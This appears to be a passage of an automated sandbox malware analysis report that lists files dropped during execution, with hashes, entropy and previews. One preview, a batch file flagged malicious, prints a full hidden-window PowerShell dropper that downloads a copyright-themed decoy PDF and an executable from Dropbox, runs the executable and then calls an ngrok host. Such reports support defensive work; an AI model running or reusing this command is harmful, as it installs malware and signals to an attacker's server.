Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.N.r.K.7.n.x.Q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.h.D.K.J.y.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.002685527418828
Encrypted:	false
SSDEEP:	96:VYAxc06Rl5xWuA6wPkHJauOoKpjguE9nwZsv1t0A54iHWRlRf7:VJHodW96wP5uOHdS1wSv1t0TCWDRj
MD5:	639E7870D2956BA09303D920DDBEF23E
SHA1:	A055B2118C0DAFB05A72D2B04CF2FD5A821EF119
SHA-256:	6E06814E92080491648BBEDF31E6D823B6E0493B51318F1EA642F42E27C0115E
SHA-512:	67C535D5384D7C672A6E93D33D42CA471A64D82EF9DDEF06C62DD04653184E1E073BC2B87F232FD96708313E2B0A30B84F0F3B7C4ED63434CA3A99ADB4B83DB6
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".c.G.T.G.0.3.R.Q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.h.D.K.J.y.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8967386436215783
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xvHxl9Il8uSOsR6DVDNRlvrg/dlQw/E9JiplWweb6Ed/vc:a9zYAfI5ND0/fQw/jlWweb6N
MD5:	A66EF0356197E974C73A3147F455D21E
SHA1:	7F5675AF96A6F1B23A5F0C84CF209D41E88D8F89
SHA-256:	141F2E185784184ACECC9F1690DD0843DEA9F313A24C1BFC96A02D98FAA95B3C
SHA-512:	D6618C4265E340E7F8FFD3FD3707427EF5DCF16E009899EDEECA32842CB8F59492A32D1FB84CCAFA3401F5AC1299DE730066FCEC1EDBEADF1E54448FDAAB1966
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".Y.R.S.Q.A.0.Z.v.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.h.D.K.J.y.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	61147
Entropy (8bit):	5.077943793919534
Encrypted:	false
SSDEEP:	1536:DA1+z307j1bV3CNBQkj2Uh4iUxqaVLflJnPvlOSHkqdxJfSb7OdBYNPzqtAHkwN7:01+z30n1bV3CNBQkj2UqiUqaVLflJnPa
MD5:	95B7548D8D8DDBAB0877BFC7F500503D
SHA1:	894B9735A30AE067FF88622B4F9C8EDF36997F6F
SHA-256:	D6C8E2EF650282C5B78D4CB89DE7FA47D0AC7A3818250101A2418B793D7C4BBA
SHA-512:	B552E36B17A92C584B269C73A9888AC67D19C28326EF39B7F1611CB6756B112BD113A9815EAB3BC6B51A6DBEFE4680C7532DD5D4F4102791BBB2021E4DDD8E54
Malicious:	false
Preview:	PSMODULECACHE.\...I.\.%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbc........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........nsmbscm........gsmbscm........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........Remove-SMBComponent........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........rsmbscm........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-Sm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0505636700495735
Encrypted:	false
SSDEEP:	3:NlllulZljlZ:NllU
MD5:	1E3828534EF67C00436076993F6B6241
SHA1:	25852DB88891549C34DCB56149199510A300E198
SHA-256:	BCC8C0B84A119FBF1FE12091EC375F85E635C7C5533A21E4382C6C320EA702C7
SHA-512:	9B281462DFC7F52063615660BB122BA0A94B7D06DC404DB742CB022116DD0574726AC5AEE80313086CEC6B1917C70E8B20A0DE037C4D017BD38AC1F9D32C33DB
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\1cb0256d-66a1-4caf-bf60-c09305ff16a7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 340 x 191, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	704145
Entropy (8bit):	7.998010742509996
Encrypted:	true
SSDEEP:	12288:jUHH5RM4U+zthvc2KfTj17Zs2XKTi9JPNfgBTIxXL2v6YRl5JCqqpRFW0X2yk:2H5RM6znvSP17aRs1IBTI9LkhSqqQ0Xq
MD5:	E4B099BAD779F5B014A92785B13AAFD6
SHA1:	89FE615A186C53F0C7869D367BB5B8212B402894
SHA-256:	3EF9BCA2FFC1BE927857980A1ABA8941EB790C220B9DA654D99B77E39BF89DA8
SHA-512:	3243BDF08E338BCD9B83748845C0F04717316E79B5D08A17711D671EDC5E3FEB920A86CAA61075F959C404880A1A625D812ABA3B68FD9ACBDA670C272D0F097F
Malicious:	false
Preview:	.PNG........IHDR...T..........f$@....sRGB....... .IDATx^.....Y.....3...{u.m.[X..s.w...'.p...I.;....$.1.#...1...68....l...u..Ziw...3....u?]]...3.+.4..jf.......sUUm.Qo..4.....Y3.......z..~Z..,....)].....7Z.%.T^G..e^.5..O....n.kV+.H..F#.3..n...f..z.[+.u..Zh..f~lZ.5....L....SP..8^..3.....V0-.I..K..^Y...N..4..[e...:.>1_j.......i..>...5P..Xg...BO...f.J...Z....D.;......+..P..i._.....<.E....L........)....~...e`.....%@....j...R.x.0~...n..n.`{r.5...-NB..1..U.,..._5^.T...sL.w......=...@Z.....&S@..P...g...A.~.\.$%U....Z[.,.k.....4..<..H.sU.5.d....v..b...].W..v@...."o......6.:...n,+3..6Q.@.../..^..;....VPT{.0.A..lYWw...v..........K..6/).O..p#.A.'q...^.j.......F.;....J,F..q&.FCU......_...._m......g.WtM........ ..iT."....])d..AA7i..=R'.P.l.C..y..3.cU.D."5.{q....T...m..[...)....&......V.Z...k.@.R\|.h^]S{5...i...A'...6[..~...5.BU....P;cR...a?@m/.._...i_a.~... B_a6:@.....d...N)i?K....9..'s..i./Z.\|..h.WQ.CMm.].DE.+lK. ..'.....6Em..k.E..@..

C:\Users\user\AppData\Local\Temp\2055147785.bat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with very long lines (811), with CRLF line terminators
Category:	dropped
Size (bytes):	828
Entropy (8bit):	5.66504581197934
Encrypted:	false
SSDEEP:	12:0G89YrII4wvt/ZTt5AfSZ3vG3JkScUcidpW/1MnzPWFrNG3JkkLMALzI2Z1MngfD:0G/j59O3JDSidpW2qtE3JIIwg+352W8
MD5:	C271E0D352C0C223E020D8B6E122A8A1
SHA1:	EBC22F4BF619E4AE706FE9B235A0037EB45456B4
SHA-256:	361FFC788FCB2263BF2F947531D7A98D22F89B6FBB806E8DB717B8CFB331AEC3
SHA-512:	61B1DEE573704AF7D4DF10EAF3C887BA70AD6CBCB2BD9BD7753AEA18BFFC48626D8B14D998BDAE0E585F95B94C9E7B6652B56058FD4F73903AD26793817CA78B
Malicious:	true
Preview:	@echo off..powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606'; }"..exit

C:\Users\user\AppData\Local\Temp\45b16d6f-f740-4927-8ef2-d42e8098478e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\5622253b-f54a-4cad-af64-795d524a2bab.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	656088
Entropy (8bit):	7.994208869820549
Encrypted:	true
SSDEEP:	12288:r/TWRciaGbqp+t4v1TxPDt75QhxfR4/xFSnhfCsP10+:jTgc3Iq+0hxLt75Q6ZFShf/Pm+
MD5:	19E87DB70542A9FA556C1412E35FC300
SHA1:	B74FE6AB84969B938BF76E2A780546CFC727EAFB
SHA-256:	CF41E7881EC4A232F462EF0FC0E15C409619D18B3A8A84B49768268505AF80E3
SHA-512:	3983D20EF020BCAED0A3269CAE844B35BFCC99558820697517D4C9BDBD886D425A3236D08DB9194E816F0AACE2E6DDEFF0F95A693B4ED7FC3B91EBA018CEF440
Malicious:	false
Preview:	%PDF-1.7.%.....18 0 obj.<<./Length 293./N 3./Filter /FlateDecode.>>.stream.x.}..J......(.....28.h..iRpi"..V..S..A.OHS..tspu+....c(....#....AR.x.......@.....?..F..[V[..G@`...dK..$...O.K..o...@...6..`.O.,f'..O. .a.sx.0A..6..vf...8....{c7..%op..Z.:u.....Q.......0Q.F.........(.S....DGACAa..j.g.rx....]..s...PxM.......c...vhO.<..v....-X}...b3~.......mDJH.T~...K..endstream.endobj.19 0 obj.<<./Type /XObject./Subtype /Image./Width 2400./Height 1363./ColorSpace /DeviceRGB./BitsPerComponent 8./ColorTransform 0./Filter [/FlateDecode /DCTDecode]./DecodeParms [null <<./Quality 45.>>]./Length 11488.>>.stream.x..}}p..y.}. ....:..4nA'`........I..e.....T].).E.!....&u..9.&k.0-.]A.......m...V.Lf.FP..!.4M..Q.......M......gw...=H....x.....o...........x&qj......F.3.}...O......}.?.......}.....~lq.-,}.g?....K......>......\_.....I..f.x.........G.....w....\:~9.\|.".h2.h..7..5.Hf.._B.K.....G...:A>..D.N......y........Sg.g....=..+..~.+.~...............N.wtl\|..O..O......CO........B.r...\|..

C:\Users\user\AppData\Local\Temp\62716700-4266-43ac-b177-2b7e17c825d6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\839df1e4-8419-462c-849b-ef3a1ffc29b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 276634
Category:	dropped
Size (bytes):	263704
Entropy (8bit):	7.998774950072608
Encrypted:	true
SSDEEP:	6144:vj1QHfvuVtTT0bCnop1MIPG4y9XgcbKdhRuQRhzb6d0X7ayNC:vjq/GGCnorP0952dPuQRFW0X2yk
MD5:	EF6DB67B82032D675EA4E61A73D3C358
SHA1:	882A4CF2944FC8E27F435890DF647177AD167CB0
SHA-256:	97C885F4390FFAE57EF240B46E113A0DFF637A003B6AD54031A1AA6809956276
SHA-512:	B41B3CD76F50964CD4FA0AB18BEB785FA592CB92045B3455D238799A1167CB5190EB1C7E0216E1E874AA03A8686025A6B366926023C9C56834B92B4F612D0A18
Malicious:	false
Preview:	............ko..q?....Am..0.<.M...e.B,[......\|J..............x..8. .w73;;;;....L.....La.k&.k..........~...#..........%.Y.>}.j~.O.r..L....R.`..w......ta.'.....~:.9.'C...\|..Gt...'..y..?...}..........,....1?..)QX....tgpgN.`..~...'.h.3^.s..UT...~o..R.].4^..V8"JwfnH...%..........i.qmG4.1@....a....\.i.C..Rq9.h....\..j...u..O..O.5!.}x....%j..}CW+...jaA.......-.......P?..vA3+iU...N...%...x.E.8.Z..2HQw._.H8........+Lw].wL..........tc..l.+p..7..<).......Z.!..!i......?./.P9.y..;....,..C.K.....~.0........E...n..(..&.X...na-c.6.....Q.[.p.IO....[...W$....l7J.,..=EK.3Y...R...\|..z_i.q......./.......[..5..qE.....FM+..VRB...r9!{3.....!...;.,{..}.sP..m..f.....~..2J..4.+..i6M...EW..ON..N.........4...T...j...1:..E=..<....Y..w.MV.....w.q.{...Y.....J...@.W..i.Sm;..0.1......./.4..b.wPbK.yeZ@.I...0.C.TZ$...-.+.[*......w.qG..}B^........n....#.........Y4.g4.....(.K..e..q7[.{..W....,%...z.^N...[/?......).9/?...r].oM2.'G.gu..Q\|..._+......1^...9......-.j2lae..+!3

C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	25100288
Entropy (8bit):	5.863385914983837
Encrypted:	false
SSDEEP:	196608:46y/xQFQBQUZPeRef5BxRJdkpzpNfwcp0rbZwf7eLV441E/JJJJJJJJWcM:43QmBNecfhgYC64JJJJJJJJWcM
MD5:	9BFDFAADE8C1612270DA2A69959756A7
SHA1:	A5C0F26D9E9B13AD7A2E7AE083999FAF5F3D9FC0
SHA-256:	4CD95BF0380DE67906211A1F7609EE91FF705D85EE45E14B1CAC6BED13D53C19
SHA-512:	A3DC9080E9ADDC2AD05AE8998E98264D04142AB1E5F3F859F61CABB6E42A237BE7D90324856CC4DD5D89FB4E18051B0436C3CB28CCFAB16ACE3FDFB632834768
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......z.N.>. Z>. Z>. Z..^Z:. Z..]Z}. Z..$Z<. Zj..Z?. Z..MZ.. Z;.}Z<. Z..@Z?. Z..}Z%. Z...Z=. Z..[Z8. Z>.!Z8. Z..NZ.. Z..ZZ?. Z..\Z?. Z>. Z*. Z..XZ?. ZRich>. Z................PE..L....q.H................. (...V.....5.[......0(...@..........................p........q.............................@#H.=.....].\|.....]...$...........p..............w(.......................7.....0R5.@...........d.]..............................text.....(...... (................. ..`.rdata..}! ..0(..0 ..0(.............@..@.data.......`H..0...`H.............@....idata..q%....]..0....Y.............@....tls.........0].......Y.............@..._RDATA...$...@]..0....Y.............@..@.data1.......p].......Z.............@....rsrc.....$...]...$...Z.............@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_11ofut4j.nqg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2pnzarkv.joe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3aisd440.ilr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4jgwpu3i.1d2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jfhii01d.4a3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3wnvibk.h3s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\c2e207ed-3a15-4eee-83fc-90d8687bec45.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
